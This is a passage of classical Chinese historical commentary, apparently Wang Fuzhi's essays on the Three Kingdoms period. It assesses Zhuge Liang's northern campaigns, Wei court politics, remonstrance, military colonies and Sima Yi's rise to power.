魏足智謀之士、昏主用之而不危。故能用人者、可以無敵於天下。 47 一二 48 魏延請從子年谷直搗長安、正兵也。諸葛繞山而西出祁山、趨秦・隴、奇兵也。高帝舍棧道而出陳倉、以奇取三秦、三秦之勢散、拊其背而震驚之、而魏異是。非堂堂之陣直前而攻其堅、則雖得秦・隴、而長安之守自有餘。魏所必守者長安耳、長安不拔、漢固無如魏何。而迂回西出、攻之於散地、魏且以為是乘間攻瑕、有畏而不敢直前、則敵氣愈壯、而我且疲於屢戰矣。夏侯楙可乘矣、魏見漢兵累歲不出而志懈、卒然相臨、救援未及、小得志焉。彌旬淹月、援益集、守益固、即欲拔一名都也且不可得、而況魏之全勢哉。故陳壽謂應變將略非武侯所長、誠有謂已。 49 而公謀之數年、奮起一朝、豈其不審於此哉。果畏其危也、則何如無出而免於疲民邪。夫公固有全局於胸中、知魏之不可旦夕亡、而後主之不可起一隅以光復也。其出師以北伐、攻也、特以為守焉耳。以攻為守、而不可示其意於人、故無以服魏延之心而貽之怨怒。 50 秦・隴者、非長安之要地、乃西蜀之門戶也。天水・南安・安定、地險而民疆、誠收之以為外蔽、則武都・陰平在懷抱之中、魏不能越劍閣以收蜀之北、復不能繞階・文以搗蜀之西、則蜀可鞏固以存、而待時以進、公之定算在此矣。公沒蜀衰、魏果由陰平以襲漢、夫乃知公之定算、名為攻而實為守計也。 51 公之始為先主謀曰、「天下有變、命將出宛・雒、自嚮秦川」。惟直指長安、則與宛・雒之師相應。若西出隴右、則與宛・雒相去千里之外、首尾斷絕而不相知。以是知祁山之師、非公初意、主闇而敵疆、改圖以為保蜀之計耳。公蓋有不得已焉者、特未可一一與魏延輩語也。 52 一三 53 武侯之任人、一失於馬謖、再失於李嚴、誠哉知人之難也。闇者不足以知、而明察者即以明察為所蔽。妄者不足以知、而端方者即以端方為所蔽。明察則有短而必見、端方則有瑕而必不容。士之智略果毅者、短長相間、瑕瑜相雜、多不能純。察之密、待之嚴、則無以自全而或見棄、即加意收錄、而固不任之矣。於是而飾其行以無過・飾其言以無尤者、周旋委曲以免摘。言果辨、行果堅、而孰知其不可大任者、正在於此。似密似慎、外飾而中枵、惡足任哉。 54 故先主過實之論、不能遠馬謖、而任以三軍。陳震鱗甲之言、不能退李嚴、而倚以大計。則唯武侯端嚴精密、二子即乘之以蔽而受其蔽也。於是而曹孟德之能用人見矣、以治天下則不足、以爭天下則有餘。蔽於道而不蔽於才、不能燭司馬懿之奸、而荀彧・郭嘉・鐘繇・賈詡、惟所任而無不稱矣。 55 一四 56 城濮之戰、晉文不恃齊・秦也。恃齊・秦、則必令齊掠陳・蔡而南以牽之於東、秦出武關、下鄢・郢以撓之。滎陽之戰、高帝不恃彭・黥也。恃黥布、則當令布率九江之、沿淮而襲之。恃彭越、則越勝而進、越敗而退也。善用人者不恃人、此之謂大略。 57 吳人敗曹休於石亭、諸葛出陳倉之師、上言曰、「賊疲於西、又務於東、兵法乘勞、此進趨之時也」。其無功宜矣。恃吳勝而乘之、吳且退矣、失所恃而心先沮・氣先折也。蜀定吳交以制魏、此諸葛之成謀、計之善者也。雖然、吳交之必定、亦唯東顧無憂、可決於進爾。及進、而所恃者終在己也。我果奮勇以大挫魏於秦川而舉長安、吳且恃我以疾趨淮・汝、不恃吳而吳固可恃也。己未有必勝之形、而恃人以逞、交相恃、交相誤、六國之合從、所以不能動秦之毫末、其左驗已。 58 石亭之役、賈逵以虛聲怖吳而吳退、吳望蜀之乘之、蜀不能應也。陳倉之役、張郃以偏師拒蜀而蜀沮、蜀望吳之牽之、吳不能應也。兩國異心、謀臣異計、東西相距、聲響之利鈍不相及、聞風而馳、風定而止、恃人者、不敗足矣、未有能成者也。德必有鄰、修德者不恃鄰。學必會友、為學者不恃友。得道多助、創業者不恃助。不恃也、乃可恃也。故曰、「一人行則得其友」。言致一也。 59 一五 60 魏制、諸侯入繼大統者、不得謂考為皇・稱妣為后、是也。帝后之尊、天之所秩、非天子所得擅以加諸其親、則大統正而天位定也。其曰、「纂正統而奉公義、何得復顧私親」。則襲義而戕仁矣。 61 所後者以承統而致其尊、因以致其親、義也。所生者以嗣統而屈其尊、不能屈其親、仁也。親者、與心生以生其心、性之不可掩者也。故古之制服、為人後者、為所生父母期、不問與所生相去親疏、即與所後者在六世袒免之外而必期、且必正名之曰「所生父母」、未嘗概置諸伯叔之列也。抑此猶為為人後者言之。若宋英宗之後仁宗、孝宗之後高宗、固以為子而子之、則所後所生父母之名各正、而所生者並屈其親。若夫前君之生也、未嘗告宗廟・詔臣民・而正其為後。嗣子之嗣也、未嘗修寢門視膳之儀、立國儲君副之位、臣民推戴而大位歸焉。則亦如光武之於南頓、位號不可僭、而天倫不可忘、何得遽謂之私親而族人視之也哉。 62 天下所重者、統也。人子所不可背者、親也。為天下而不敢干其統、則天下之義重、而已之恩輕。雖有天下、而不可沒其生我之恩、則天下敝屣、而親為重。導諛者、獻追尊之僭。矯異者、沒父母之名。折衷以順天理之固然、豈一偏之說所可亂哉。 63 一六 64 國政之因革、一張一弛而已。風俗之變遷、一質一文而已。上欲改政而下爭之、爭之而固不勝。下欲改俗而可抑之、抑之而愈激以流。故節宣而得其平者、未易易也。 65 東漢之中葉、士以名節相尚、而交游品題、互相持以成乎黨論、天下奔走如騖、而莫之能止。桓・靈側聽奄豎、極致其罪罟以摧折之、而天下固慕其風而不以為忌。曹孟德心知摧折者之固為亂政、而標榜者之亦非善俗也、於是進崔琰・毛玠・陳群・鐘繇之徒、任法課能、矯之以趨於刑名、而漢末之風暫息者數十年。琰・玠殺、孟德歿、持之之力窮、而前之激者適以揚矣。太和之世、諸葛誕・鄧颺浸起而矯孟德綜實之習、結納互相題表、未嘗師漢末之為、而若或師之。且刓方向圓、崇虛墮實、尤不能如李・杜・范・張之崇名節以勵俗矣。乃遂以終魏之世、迄於晉而不為衰止。然則孟德之綜核名實也、適以壅已決之水於須臾、而助其流溢已耳。故曰抑之而愈以流也。 66 名之不勝實・文之不勝質也、久矣。然古先聖人、兩俱不廢以平天下之情。獎之以名者、以勸其實也。導之以文者、以全其質也。人之有情不一矣、既與物交、則樂與物而相取、名所不至、雖為之而不樂於終。此慈父不能得之於子、嚴師不能得之於徒、明君不能得之於臣民者也。故因名以勸實、因文以全質、而天下歡忻鼓舞於敦實崇質之中、以不蕩其心。此而可杜塞之以域民於矩矱也、則古先聖人何弗圉天下之躍冶飛揚於鉗網之中也。以為拂民之情而固不可也。情者、性之依也、拂其情、拂其性矣。性者、天之安也、拂其性、拂其天矣。志鬱而勃然以欲興、則氣亦蝹蜦屯結而待隙以外洩。迨其一激一反、再反而盡棄其質以浮蕩於虛名。利者爭託焉、偽者爭托焉、激之已極、無所擇而唯其所汎濫。夏侯玄・何晏以之亡魏、王衍・王戎以之亡晉、五胡起、江東僅存、且蔓引以迄於陳・隋而不息、非崇質尚實者之激而豈至此哉。 67 桓雲激之矣、奄豎激之矣、死亡接踵而激猶未甚、桓・靈・奄豎不能掩其名也。孟德・琰・玠並其名而掩之、而後詭出於玄虛、橫流於奔競、莫能禁也。以傅咸・卞壼・陶侃之公忠端亮、折之而不勝、董昭欲以區區之辨論、使曹叡持法以禁之、其將能乎。聖王不作、禮崩樂壞、政暴法煩、祗以增風俗之浮蕩而已矣。 68 一七 69 魏伐遼東、蜀征南中、一也、皆用乒謀國之一道也。與隋煬之伐高麗・唐玄之伐雲南、異矣。隋・唐當天下之方寧、貪功而圖遠、涉萬里以徼幸、敗亡之釁、不得而辭焉。諸葛公之慎、司馬懿之智、舍大敵而勤遠略、其所用心者未易測矣。 70 兩敵相持、勢相若而不相下、固未得晏然處也。而既不相為下矣、先動而躁、則受其傷、弗容不靜以俟也。靜以俟、則封疆之吏習於固守、六軍之士習於休息、會計之臣習於因循。需之需之、時不可徼而兵先弛。技擊奔命・忘生趨死之情、日以翱翔作好而墮其氣。則靜退之禍、必伏於不覺。一旦有事、張皇失措、驚尤肭朒縮、而國固不足以存、況望其起而制人、收長驅越險之功哉。魏之東征、蜀之南伐、皆所以習將士於戰而養其勇也。先主殂、蜀未可以圖中原、孟德父子繼亡、魏未可以并吳・蜀、兵不欲其久安而忘致死之心、諸葛之略、司馬之智、其密用也、非人之所能測也。 71 或曰、習士於戰、有訓練之法、而奚以遠伐為。嗚呼。此坐而談兵、誤人家國之言耳。步伐也、系刺也、束伍也、部分也、訓練而習熟者也。兩軍相當、飛矢雨集、白刃拂項、趨於死以爭必勝、氣也、非徒法也。有其法不作其氣、無輕生之情、而日試於旌旗金鼓之間、雍容以進退、戲而已矣。習之愈久而士愈無致死之心、不亡何待焉。訓練者、戰餘而教之也、非數十年之中、目不見敵、徒修其文具之謂也。 72 一八 73 武侯遺令魏延斷後、為蔣琬・費褘地也。李福來請、公已授蜀於琬・褘。而必不可使任蜀者、魏延也。延權亞於公、而雄猜難御、琬未嘗與軍旅之任、而威望不隆、延先入而挾孱主、琬固不能與爭、延居然持蜀於掌腕矣。唯大軍退而延不得孤立於外、楊儀先入而延不得為主於中、雖憤激而成乎亂、一夫之制耳。 74 延之亂也、不北降魏而南攻儀、論者謂其無叛心。雖然、豈可保哉。延以偏將孤軍、主帥死而乞活於魏、則亦司馬懿之屬吏而已矣、南轅而不北駕、不欲為懿下也。使其操全蜀之兵、制朝權而唯其意、成則攘臂以奪漢、不成將舉三巴以附魏、司馬懿不得折箠而馭之、其降其否、亦惡可諒哉。 75 楊儀福小之器耳、其曰「吾若舉軍就魏、寧當落度如此」。是則即為懿屈而不慚者。令先歸而延與姜維持其後、蔣琬談笑而廢之、非延匹也。於是而武侯之計周矣。故二將訌而於國無損。不然、將爭於內、敵必乘之、司馬懿之智、豈不能間二亂人以捲蜀、而何為斂兵以退也。 76 一九 77 武侯之言曰、「淡泊可以明志」。誠淡泊矣、可以質鬼神、可以信君父、可以對僚友、可以百姓、無待建鼓以亟鳴矣。且夫持大權・建大功、為物望所歸、而懷不軌之志者、未有不封殖以厚儲於家者也。以示豆區之恩、以收百金之士、以餌腹心之蠹、以結藩鎮之歡、胥於財而取給。季氏富於周公、而魯昭莫能制焉、曹・馬・劉・蕭、皆祖此術也。誠淡泊矣、競利名者之所不趨、而子孫亦習於儒素、不問其威望之重輕、而固知其白水盟心・衡門歸老之夙圖矣。 78 乃武侯且表於後主曰、「成都有級八君株、薄田十五頃、死之日、不使內有餘帛・外有贏粟、以負陛下」。一若志晦不章・憂讒畏譏之疏遠小臣、屑屑而自明者。嗚呼。於是而知公之志苦而事難矣。後主者、未有知者也、所猶能持守以信公者、先主之遺命而已。先主曰、「子不可輔、君自取之」。斯言而入愚昧之心、公非剖心出血以示之、豈能無疑哉。身在漢、兄弟分在魏・吳、三國之重望、集於一門、關・張不審、挾故舊以妬其登庸、先主之疑、蓋終身而不釋。施及嗣子之童昏、內而百揆、外而六軍、不避嫌疑而持之固、含情不吐、誰與諒其志者。然則後主之決於任公、屈於勢而不能相信以道、明矣。公乃諄諄然取桑田粟帛・竭底蘊以告、無求於當世、其孤幽之忠貞、危疑若此、而欲北定中原・復已亡之社稷也、不亦難乎。 79 於是而知先主之知人而能任、不及仲謀遠矣。仲謀之於子瑜也・陸遜也・顧雍也・張昭也、委任之不如先主之於公、而信之也篤、豈不賢哉。先主習於申・韓而以教子、其操術也、與曹操同、其宅心也、亦徬佛焉。自非司馬懿之深奸、則必被制曳而不能盡展其志略。故曰公志苦而事難也。不然、公志自明、而奚假以言明邪。 80 二○ 81 得直諫之士易、得憂國之臣難。識所不及、誠所不逮、無死衛社稷之心、不足與於憂國之任久矣。若夫直諫者、主德之失、章章見矣。古之為言也、仁慈恭儉之得、奢縱苛暴之失、亦章章見矣。習古之說而以證今之得失、不必深思熟慮、殷憂鬱勃、引休戚於躬受、而斟酌以求寧、亦可奮起有言而直聲動天下矣。 82 魏主睿之後、一傅而齊王芳廢、再傅而高貴鄉公死、三傅而常道鄉公奪。青龍・景初之際、禍胎已伏、蓋岌岌焉、無有慮此為睿言者、豈魏之無直臣哉。睿之營土木・多內寵・求神僊・察細務・濫刑賞也、舊臣則有陳群・辛毗・蔣濟、大僚則有高堂隆・高柔・楊阜・杜恕・陳矯・衛覬・王肅・孫禮・衛臻、小臣則有董尋・張茂、極言無諱、不避喪亡之謗詛、至於叩棺待死以求伸。睿雖包容勿罪、而諸臣之觸威以抒忠也、果有身首不恤之忱。漢武・唐宗不能多得於群臣者、而魏主之廷、森森林立以相繩糾。然而阽危不救、旋踵國亡。繇是觀之、直諫之臣易得、而憂國之臣未易有也。 83 高堂隆因鵲巢之變、陳他姓制御之說。問陳矯以司馬公為社稷之臣、而矯答以未知。然則魏之且移於司馬氏、禍在旦夕、魏廷之士或不知也、知而或不言也。隆與矯知之而不深也、言之而不力也。當其時、懿未有植根深固之黨、未有榮人・辱人・生人・殺人之威福、而無能盡底蘊以為魏主告。無他、心不存乎社稷、浮沈之識因之不定、未能剖心刻骨為曹氏徘徊四顧而求奠其宗祏也。逮乎魏主殂、劉放・孫資延大姦於肘掖之後、雖灼見魏之必亡而已無及矣。 84 以社稷為憂者、如操舟於洪濤巨浸、脈察其磧岸洑渦之險易、目不旁瞬而心喻之。則折旋於數十里之外而避危以就安也、適其所泊而止。豈舟工之智若神禹哉。心壹於是而生死守之爾。若夫雒陽・崇華銅人土山之縱欲勞民、與夫暴怒刑殺・聽小臣毀大臣・躬親細務而陵下不君、此皆見之聞之、古雒明訓、而依道義以長言之、則不必有體國之忠、而但有敢言之氣、固可無所畏避而唯其敷陳者也。抑豈足恃為宗社生民之託哉。 85 二一 86 陳群上封事諫魏主、輒削其草。楊阜觸人主之威以直諫、與人言未嘗不道。袁宏贊群之忠、而譏阜之播揚君惡。夫阜激而太過、誠然矣。以群之削草為忠臣之極致、又奚得哉。宏曰、「仁者愛人、施之君謂之忠、施之親謂之孝」。非知道之言也。 87 君父均也、而事之之道異。禮曰、「事親有隱無犯、事君有犯無隱」。隱者、知其惡而諱之也。有隱以全恩、無隱以明義、道之準也。君之有過也、諫之而速改、改過之美莫大焉。稱其前之過以表其後之改、固以揚其美之大者也。諫而不聽、君過成矣。即不言、而臣民固已知之矣。導諛之臣、方且為之飾非為是、弭在廷之口。而諫者更為之掩覆、於是而導諛之臣益無所忌、而唯其欲為。且己諫而不聽、庶幾人之繼進也。小臣疏遠、望近臣之從違以為語默。近臣養君之慝而蔽下之知、則疏遠欲言之士、且徘徊疑沮、而以柔巽揄揚為風尚。勸忠之道、喪於唯諾之習、孤鳴無和、雖造膝而為痛哭、亦無如怙過之主何矣。 88 韓愈氏非知道者、擬文王之詩曰、「臣罪當誅兮、天王聖明」。文王而為此言也、則飛廉・惡來且援為口實以惑紂、而信比干之死為當其辜矣。亦何憚而不殫其斮脛炮烙之慘乎。若群者、以全身於暴主之側、孔光溫樹之故智也、謂之曰忠、而同君父於一致、袁宏惡知忠臣之極致哉。 89 二二 90 魏主睿之詔曰、「漢承秦亂、廢無禘禮、曹氏世系、出自有虞、以舜配天、以舜妃配地」。其亢地於天、離妣於祖、亂乾坤高卑之位、固不足道矣。妄自祖虞而以廢禘譏漢、尤不知禘者也。 91 自漢以下、禘之必廢也無疑也。三代而上、君天下者、數姓而已、天子之支庶、分封為侯、各受命而有社稷。其後一族衰微、則一族之裔孫以德而復陟帝位、無有不繇諸侯祖天子而崛起者也。推創業之主而上之、始受命而有社稷者、其始祖也、商之契・周之稷是也。又推而上之、則固有天下者也、而高辛是也、是為始祖所自出之帝也。世有社稷而為君、代相承而譜牒具存、雖歷數十世而雲仍不絕、則所自出之帝雖遠、亦猶父子之相授、淵源不昧。而後此之有天下者、仍還其前此有天下之故業、以示帝位之尊、不越神明之胄、非是者不得而乾焉。此封建未墜之天下、道固然也。 92 秦雖無德、而猶柏翳之裔、受封西土、可以繼三代而王、使追所自出之帝而禘焉、得矣。至於漢興、雖曰帝堯之苗裔、而不可考也。陶唐之子孫受侯封者、國久滅而宗社皆亡、帝堯之不祀、久已忽諸。高帝起田間為亭長、自以滅秦夷項之功而有天下、徵家世於若存若亡之餘、懸擬一古帝為祖、將誰欺。欺天乎。自漢以下之不禘、豈不允哉。 93 漢曰祖堯也、王莽・曹氏曰祖舜也、唐曰祖皋陶也・老耼也、攀援不可致詰之聖賢以自張大者也。澤所已斬、道所不嗣、誠所不至、以名屬之、以文修之、漢乎其不相及久矣。當其側微、不知其有所祖也、序其譜系、不知其必為祖也、且遠引而祖之、仁人孝子之事其先、如是而已哉。郭崇韜垂涕汾陽之墓、梁師成追訟眉山之誣、為姍笑而已。魏主睿其何以異於是。 94 二三 95 任人任法、皆言治也、而言治者曰、任法不如任人。雖然、任人而廢法、則下以合離為毀譽、上以好惡為取舍、廢職業、徇虛名、逞私意、皆其弊也。於是任法者起而摘之曰、是治道之螙也、非法而何以齊之。故申・韓之說、與王道而爭勝。乃以法言之、周官之法亦密矣、然皆使服其官者習其事、未嘗懸黜陟以擬其後。蓋擇人而授以法、使之遵焉、非立法以課人、必使與科條相應、非是者罰也。 96 法誠立矣、服其官、任其事、不容廢矣。而有過於法之所期者焉、有適如其法之所期者焉、有不及乎法之所期者焉。才之有偏勝也、時之有盈詘也、事之有緩急也、九州之風土各有利病也。等天下而理之、均難易而責之、齊險易豐兇而限之、可為也而憚於為、不可為也而強為塗飾以應上之所求、天下之不亂也幾何矣。上之所求於公卿百執郡邑之長者、有其綱也。安民也、裕國也、興賢而遠惡也、固本而待變也、此大綱也。大綱圮而民怨於下、事廢於官、虛譽雖騰、莫能揜也。茍有法以授之、人不得以玩而政自舉矣。故曰擇人而授以法、非立法以課人也。 97 論官常者曰、清也、慎也、勤也。而清其本矣。弗慎弗勤而能清也、詘於繁而可以居要、充其至可以為社稷臣矣。弗清而不慎不勤、其罪易見、而為惡也淺。弗清矣、而慎以勤焉、察察孳孳以規利而避害、夫乃為天下之巨奸。考課以黜陟之、即其得而多得之於勤慎以墮其清、況其所謂勤者非勤、而慎者非慎乎。是所謂孳孳為利、蹠之徒矣。清議者、似無益於人國者也、而國無是不足以立。恐其亡實而後以法飭之、周官・周禮・關雎・麟趾之精意所持也。京房術數之小人、何足以知此哉。盧毓・劉邵師之以惑魏主、不能行焉必也。雖不能行、而後世功利刑名之徒、猶師其說。張居正之毒、所以延及百年而不息也。 98 二四 99 魏主睿授司馬懿以輔政、而懿終篡也、宜哉。法紀立、人心固、大臣各得其人、則臥赤子於天下之上而可不亂、何庸當危病昏瞀之時、委一二人、錫以輔政之名、倒魁柄而授之邪。 100 周公之輔成王也、王幼而未有知識、且公之至德、曠古一人、而武王之信公也、以兩聖而相知也。然使無輔政之名、則二叔亦無釁以搆難、而沖人晏然矣。漢武之任霍・金・上官也、上官逆、霍氏不終矣。輔政之名、由此而立、而抑安足師乎。先主之任諸葛、而諸葛受命、當分爭之世、而後主不足有為也、兩俱弗獲已而各盡其心耳。先主不能舍後主而別有所立、則不能不一委之諸葛以壹後主之心。 101 若夫魏主睿、無子而非有適長之不可易也、宗室之子、唯其所擇以為後。當其養芳與詢為子之日、豈無賢而可嗣者、慎簡而豫教之。迨其將殂、芳之為子已三歲矣、可否熟知、而教訓可夙、何弗擇之於先、教之於後令可君國而勿墜、而使劉放・孫資得乘其篤疾以晉姦雄於負扆哉。為天下得人者、得一人爾。得其人而宰輔百執無不得焉。己既無子、唯其意而使一人以為君、不審其勝任與否、而又別委人以輔之、則胡不竟授以天下而免於篡弒乎。漢之自旁支入繼者、皆昏庸之器、母后權奸之為之也、非若睿之自擇而養之也。彼憒憒以死、無意於宗社而委之婦人者、無責耳矣、而魏主叡何為若也。 102 宋仁宗之授英宗、高宗之授孝宗、一旦嗣立而太阿在握。有二君之慎、豈至忍死以待巨姦而付以童昏也哉。故宋二宗之立嗣、允為後世法也。輔政者危亡之本、惡得託周公之義以召禍於永世哉。 103 二五 104 史稱何晏依勢用事、附會者升進、違忤者罷退、傅嘏譏晏外靜內躁、皆司馬氏之徒、黨邪醜正、加之不令之名耳。晏之逐異己而樹援也、所以解散私門之黨、而厚植人才於曹氏也。盧毓・傅嘏懷寵祿、慮子孫、豈可引為社稷臣者乎。藉令曹爽不用晏言、父事司馬懿、而唯言莫違、爽可不死、且為戴莽之劉歆。若逮其篡謀之已成、而後與立異、劉毅・司馬休之之所以或死或亡、而不亦晚乎。爽之不足與有為也、魏主睿之不知人而輕托之也。乃業以宗臣受顧命矣、晏與畢軌・鄧颺・李勝不與爽為徒而將誰與哉、或曰、圖存社稷者、智深勇沈而謀之以漸。晏一旦蹶起而與相持、激懿以不相下之勢、而魏因以亡。 105 夫曹芳以暗弱之沖人孤立於上、睿且有「忍死待君相見無憾」之語、舉國望風而集者、無敢踰司馬氏之閫閾、救焚拯溺而可從容以待乎。懿之不可託也、且勿論其中懷之叵測也。握通國之兵、為功於閫外、下新城、平遼東、卻諸葛、撫關中、將吏士民爭趨以傚尺寸、既赫然矣。惡有舉社稷之重、付孺子於大將之手、而能保其終者哉。王敦無邊徼之功、故溫嶠得制之於衰病。桓溫有枋頭之敗、故王・謝得持之以從容。奪孤豚於猛虎之口、雅十無所容其靜鎮、智者無所用其機謀、力與相爭而不勝、天也、非人之所能為也。 106 當是時、同姓猜疏而無權、一二直諒之臣如高堂隆・辛毗者、又皆喪亡、曹氏一線之存亡、僅一何晏、而猶責之已甚、抑將責劉越石之不早附劉淵、文宋瑞之不亟降蒙古乎。嗚呼。惜名節者謂之浮華、懷遠慮者謂之銛巧、三國志成於晉代、固司馬氏之書也。後人因之掩抑孤忠、而以持祿容身・望風依附之逆黨為良圖。公論沒、人心蠱矣。 107 二六 108 蔣琬改諸葛之圖、欲以舟師乘漢・沔東下、襲魏興・上庸、愈非策矣。魏興・上庸、非魏所恃為巖險、而其贅餘之地也。縱克之矣、能東下襄・樊北收宛・雒乎。不能也。何也。魏興・上庸、漢中東迤之餘險、士卒所憑以阻突騎之重突、而依險自固、則出險而魂神已惘、固不能踰閫限以與人相搏也。且舟師之順流而下也、逸矣。無與遏之而戒心弛、一離乎水而衰氣不足以生、必敗之道也。先主與吳共爭於水而且潰、況欲以水為勢、而與車騎爭於原陸乎。魏且履實地・資宿飽、坐而制之於丹・淯之湄、如蛾赴燄、十撲而九亡矣。 109 劉裕之河・渭以入關中、王鎮惡等以步騎馳擊、而舟師為其繼、非恃舟師以爭人於陸也。姚泓恃拓拔氏為之守、拓拔氏不為泓守、而泓弛其防、故獲利焉、非獨倚舟師之利攻人於千里之外也。諸葛之出祁山、以守為攻、即以攻為守、知習於險者之不利於夷、且自固以待時變、特不欲顯言之以怠眾志耳。琬移屯而東西防遂弛、鄧艾陰平之禍、自琬始矣。琬疾動而不能行、司馬懿方謀篡而未暇、故蜀猶以全。不然、此一舉而蜀亡不旋踵矣。 110 二七 111 曹孟德始屯田許昌、而北制袁紹、南折劉表。鄧艾再屯田陳・項・壽春、而終以吞吳。此魏・晉平定天下之本圖也。屯田之利有六、而廣儲芻糧不與焉。戰不廢耕、則耕不廢守、守不廢戰、一也。屯田之吏十據所屯以為己之樂土、探伺密而死守之心固、二也。兵無室家、則情不固、有室家、則為行伍之累、以屯安其室家、出而戰、歸而息、三也。兵從事於耕、則樂與民親、而殘民之心息、即境外之民、亦不欲凌轢而噬齕之、敵境之民、且親附而為我用、四也。兵可久屯、聚於邊徼、束伍部分、不離其素、甲胄器仗、以暇而修、卒有調發、符旦下而夕就道、敵莫能測其動靜之機、五也。勝則進、不勝則退有所止、不至駭散而內訌、六也。有此六利者、而粟米芻槀之取給、以不重困編氓之輸運、屯田之利溥矣哉。諸葛公之於祁山也、亦是道也。姜維不能踵之、是以亡焉 112 雖然、有其地、有其時矣。許昌之屯、乘黃巾之亂、民皆流亡、野多曠士也。兩淮之屯、魏・吳交爭之地、棄為甌脫、田皆蕪廢也。五丈原之屯、秦・隴・階・文之間、地廣人稀、羌・胡據山澤而棄平土、數百里而皆艸萊也。非是者、可屯之地、畸零散布於民田之間、而分兵以屯之、則一散而不可猝收矣。奪民熟壤以聚屯、民怨而敗速矣。此屯之必以其地也。 113 屯之於戰爭之時、壓敵境而營疆場、以守為本、以戰為心、而以耕為餘力、則釋耒耜・援戈矛、兩不相妨以相廢。若在四海蕩平之後、分散士卒、雜處民間、使食利於耕、而以戰守為役、則雖有訓練鉗束之法、日漸月靡於全軀保室・樸鈍偷安之習、而天下於是乎無兵。故唯棗祗・鄧艾・諸葛可以行焉、而後此之祖以安插天下之兵、是弭兵養懦之術也、故陵夷衰微而無與衛國。此屯之必以其時也。 114 法有名同而實異、事同而效異、如此者多矣。謀國者不可不審也。 115 二八 116 史稱管寧高潔而熙熙和易、因事而導人以善。善於傅君子之心矣。 117 世之亂也、權詐興於上、偷薄染於下、君不可事、民不能使、而君子仁天下之道幾窮。窮於時、因窮於心、則將視天下無一可為善之人、而拒絕唯恐不夙、此焦先・孫登・朱桃椎之類、所以道窮而仁亦窮也。夫君子之視天下、人猶是人也、性猶是性也、知其惡之所自熏、知其善之所自隱、其熏也非其固然、其隱也則如宿艸霜凋而根荄自潤也。無事不可因、無因不可導、無導不可善、喻其習氣之橫流、即乘其天良之未喪、何不可與以同善哉。此則盎然之仁、充滿於中、時雨灌注而宿艸榮矣。惜乎時無可事之君、而寧僅以此終。非然、將與伊・傅而比隆矣。 118 嗚呼。不得之於君、可得之於友、而又不可得矣。不得之薦紳、可得之於鄉黨、而又不可得矣。不得之父老、可得之童蒙、而又不可得矣。此則君子之抱志以沒身、而深其悲閔者也。友之不得、君錮之。鄉黨之不得、薦紳熒之。童蒙之不得、父老蔽之。故寧之仁、終不能善魏之俗。君也、薦紳也、父老也、君子之無可如何者也。吾盡吾仁焉、而道窮於時、不窮於己、亦奚忍為焦先・孫登・朱桃椎之孤傲哉。 119 二九 120 形可以征神乎。曰、未嘗不可也。神者、天德之函於地者也。形者、地德之成乎天者也。相函相成而不相舍、神之靈、形受之。形之靈、神傅之。非神孤盪其靈於虛而形頑處也。譬之笙竽然、器洪而聲洪、器纖而聲纖矣。譬之盂水然、器方而水方、器囨而水囨矣。造化者以其神之靈搏造形質、而氣以舒斂焉。榮、隨氣而華、隨氣而黯。衛、隨氣而理、隨氣而亂。內而藏府之精粗、外而筋骸之勁脃、動靜語默各如其量、而因以發用。則明於察形者、可以征神、固矣。管輅之評鄧颺・何晏而言皆屢中、知此而已矣。 121 然則神可以化形乎。曰、奚為其不可也。其始也天化之、天之道也。其後也人化之、人之道也。其之道、亭之毒之、用其偶然、故媺惡偏全・參差而不齊。人之道、熏之陶之、用其能然、則惡可使媺、偏可使全、變化而反淳。人莫難於御其神、而形其易焉者。昧者不知、曰、「一受其成型、而與之終古」。其不知道也久矣。孟子曰、「居移氣、養移體」。榮衛隨養以移、而內而藏府・外而筋骸、隨之以移。況動止語默、因心而縱斂、因習而率循者哉。 122 鄧颺之躁、徵於形之躁也、不可驟息、而息之以靜者、颺可得而主也。何晏之幽、徵於形之幽也、不可驟張、而張之以明者、晏可得而主也。豈有他哉。一旦而知躁與幽之為不善、操之縱之、懲艾於俄頃。習之制之、熏成於漸次。則二子者、金錫圭璧之章、再見而驚非其故、輅又安能測之哉。乃若二子者、終成乎幽躁、而使輅言之終驗、其蔽一也。一者何也。曰、驕也。老・莊者、驕天下而有餘者也、絕學以無憂、與天而為徒、而後形之不善、一受其成型、而廢人道之能然、故禍至而不知其所自召也。地承天而受化、形順神而數移、故管輅之術、君子節取焉、而不怙之以為固然。人之有道也、風雨可使從欲、元氣可使受治、況在躬之榮衛藏府筋骸、與從心之動止語默哉。 123 三○ 124 王淩可以為魏之忠臣乎。蓋欲為司馬懿而不得者也。為懿不得、而懿愈張矣。齊王芳、魏主睿之所立也、懿殺曹爽而制芳於股掌、其惡在懿、其失在睿、而芳何尤焉。使霍光而有操・懿之心、漢昭亦無如之何、而可責之芳乎。淩誠忠於魏而思存其社稷、正懿閉門拒主・專殺宗臣・覬覦九錫之罪、抗表而入討、事雖不成、猶足以鼓忠義之氣、而懿不能駕禍於楚王以錮曹氏之宗支、使斂迹而坐聽其篡奪。而淩欲廢無過之主以別立君、此其故智、梁・隋之季多效之者、而終以盜鈴。則使淩得志、楚王彪特其掩耳之資、操此心也、惡足以惑人心而使效順哉。 125 名義者、邪正存亡之大司也、無義不可以為名、無名不可以為義、忠臣效死以爭之、姦雄依附而抑必挾之。以曹操之不軌也、王芬欲立合肥侯以誅宦官、而操審其必敗、勿從也。袁紹欲立劉虞以誅董卓、而操惡其徒亂、勿從也。名正而義因以立、豈特操之智遠過於淩乎。天下未解體於弱主、而己先首禍、心之所不安、烖之所必逮也。劉虞賢矣、袁紹弗能惑也。合肥侯聽曹操而安、楚王彪聽王淩而死、非獨自殺、且以啟禍於宗室、胥入司馬之阱中、亦烈矣哉。嗚呼。亂人假義而授人以名、義乃永墮而禍生愈速、如是而許之以忠也、則沈攸之・陳霸先皆忠矣。王淩之心、路人知之、無以異於司馬氏、而益以愚者也。 126 三一 127 曹操之篡也、迎天子于危亡之中而措之安士。二袁・呂布・劉表・劉焉群起以思移漢祚、獻帝弗能制、而操以力勝而得之。劉裕之篡、馘桓玄、夷盧循、東滅慕容超、西俘姚泓、收復中國五十餘年已覆之士宇、而修晉已墟之陵廟、安帝愚暗、不能自存也。若夫二蕭・陳霸先、功不逮操・裕而篡焉、則不成乎其為君而不延其世。由此言之、雖篡有天下、而豈易易哉。 128 司馬懿之於魏、掾佐而已、拒諸葛於秦川、僅以不敗、未嘗有尺寸之功於天下也。受魏主睿登床之託、橫翦曹爽、遂制孱君・脅群臣、獵相國九錫之命、終使其子孫繼世而登天位、成一統之業。其興也不可遏、而抑必有道焉、非天下之可妄求而得也。曹氏之敺兆民・延人而授之也久矣。 129 